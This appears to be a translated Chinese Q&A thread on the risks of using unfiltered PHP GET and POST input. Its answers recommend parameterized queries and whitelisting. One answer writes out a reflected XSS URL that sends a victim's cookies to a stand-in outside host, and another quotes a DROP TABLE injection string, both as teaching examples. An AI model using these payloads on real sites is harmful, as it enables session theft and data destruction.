【发布时间】:2009-08-19 18:40:54
【问题描述】:
我想知道直接使用 GET 和 POST 变量时有哪些漏洞。 即没有修剪和addlashes函数和mysql转义字符串之类的东西。
我的问题是
在玩 GET 和 POST 时我们还需要注意什么。
有哪些攻击比如SQL注入?
【问题讨论】:
-
一般规则是“不信任用户输入”。用户以任何形式输入的任何内容都需要进行安全检查。
我想知道直接使用 GET 和 POST 变量时有哪些漏洞。 即没有修剪和addlashes函数和mysql转义字符串之类的东西。
我的问题是
在玩 GET 和 POST 时我们还需要注意什么。
有哪些攻击比如SQL注入?
【问题讨论】:
一般来说,不仅限于 GET 和 POST,还包括来自系统外部的任何数据(包括 Web 应用程序中的 cookie):
几乎所有漏洞都归结为“用户可以在您将输入传递到的上下文中运行他们喜欢的任何代码”。
您需要考虑如何处理数据。在世界上任何系统接受受污染的输入时寻找可能出错的事情的列表不会产生详尽的列表。
顺便说一句:忘记addlashes(它无效),忘记mysql_real_escape(它太容易出错了)。使用参数化查询:How can I prevent SQL injection in PHP?
【讨论】:
最简单的 XSS 攻击,只需一点点社会工程
假设您有一个简单的 PHP 应用程序,它使用会话来跟踪用户。它有某种管理界面,拥有更高权限的用户可以在其中编辑内容。
并且,假设您以管理员身份登录到该站点,并且该应用程序内部有一个文件 request.php,其中包含以下代码
echo $GET['action'];
现在有人发现了这一点,构造了以下 url http://yourapp/request.php?action=document.location.href='http://foreignsite?c='+document.cookie
然后有人将此 url 添加到 tinyurl.com,将其缩短为 http://tinyurl.com/x44534,然后他向您发送一封电子邮件,说“嘿,看看这个,你觉得它很有用”。
您单击链接,tinyurl.com 将短 url 转换回长 URL,将您的浏览器重定向到它,您的 request.php 愉快地从查询中输出 Javascript,您的浏览器看到它,执行它,结果,运行http://foreignsite 的人会得到你所有的cookies。
然后他只需将这些 cookie 值插入他的浏览器,瞧,他可以立即访问您的站点管理界面。因为他得到了你的会话 cookie。
这描述了最简单的 XSS 攻击,非常简单,在现实生活中可能行不通,但希望您了解它的基本原理。
【讨论】:
如果您使用任何 GET 或 POST 变量并有效地“执行”它,而不通过某种过滤器将其传递,那么您将面临注入攻击。 SQL 注入显然是一种非常常见的情况,但是如果您对该数据执行任何类型的eval()(在编程语言或任何其他数据库或解释情况下 - 包括将 HTML 传递回浏览器以在客户端)然后知识渊博的攻击者可以制作输入数据,使您的应用程序做一些意想不到的事情。
【讨论】:
GET 和 POST 数据是用户直接发送的数据。你得到它是原始的,在用户和你的程序之间没有检查或验证。即使您要验证应该生成数据的表单,攻击者也可以使用他想要的任何数据手动制作请求。因此,您必须始终将请求数据视为不受信任的用户输入。
有许多攻击依赖于编码器忘记请求数据是不可信的,但最著名的是 SQL 注入。 SQL 注入的根本原因是通过手动连接字符串来构建查询,其中一些是不受信任的用户输入。这意味着您正在告诉您的数据库执行不受信任的用户输入。
SQL 注入的简单解决方案是验证输入,然后将它们连接成一个查询字符串,但这也是一种糟糕的形式。您依靠您的验证逻辑来确保字符串安全,如果您滥用它——或者逻辑有问题——那么您将再次受到攻击。
正确的解决方案是将查询与其包含的数据分开。几乎所有的数据库适配器都支持这种方法,如果你的因为某种原因不支持,它就不适合使用。最常见的成语是(没有特定的语言):
myDB.query("select * from Stuff where id=?", [42]);
这将保证(在这样的系统中)不执行参数。查询字符串是由完全受信任的数据构建的,而不受信任的数据是隔离的。在最坏的情况下,这种方法应用于不正确的输入可能会导致错误的数据,而不是错误的命令。
这种避免 SQL 注入的方法突出了适用于各种请求数据攻击的核心原则:请求数据不是您的,也不安全。在处理任何用户输入(包括请求数据)时,请始终假定它来自对您的系统有深入了解的攻击者。它可能看起来很偏执,但它可以保证您的安全。
【讨论】:
正如人们已经写过的那样,任何和所有用户输入都应被视为恶意,无论您感觉有多安全。
开发人员在编写代码和进行修改时会考虑保护代码,而黑客则在决定破解代码时会考虑弄乱代码,可能是今天、明天或两次年。在编写代码时可能看起来非常安全的东西可能会在以后被利用。
基本上,所有输入都应该经过严格的过滤、检查和清理,无论在任何特定时间用于什么用途。有人可能会跳过清理用户输入的内容,因为“它不会用于任何可能造成伤害的事情”,然后 11 个月后,团队中的某个人决定使用分配给变量的假定清理过的数据,在 SQL 查询或系统 exec 调用中,整个系统都会崩溃。
应该怎么做:
白名单而不是黑名单 - 了解您期望的输入类型并相应地转换用户数据,id 通常是整数,因此将所有用户提交的 id 转换为整数是安全的。 - 知道您何时期待少量数据,何时期待大量数据。个人姓名通常比较短,不包含数字,“1”;DROP TABLE customers;”不是真名,不用加斜线也能知道。
然后将一些列入黑名单以防万一 - 将标准转义逻辑应用于通过白名单生成的所有数据,以防万一
然后过滤并检查更多 - 直到你感到安全为止
【讨论】:
它不仅仅是“获取”或“发布”。这一切都取决于您为支持它们所做的编程。如果您只是提供一个静态 html 页面,那么没有很多漏洞。另一方面,如果您通过 get 请求设置和修改数据,则漏洞可能无穷无尽,只需查找 google bot 从使用“get”提交内容的地方清除数据的案例即可。
这完全取决于您使用数据的目的,并且漏洞仅限于获取或设置。清理您的输入。
【讨论】:
所有的超全局变量都可以被用户代理操作。 $_SERVER、$_POST、$_GET 等。
【讨论】: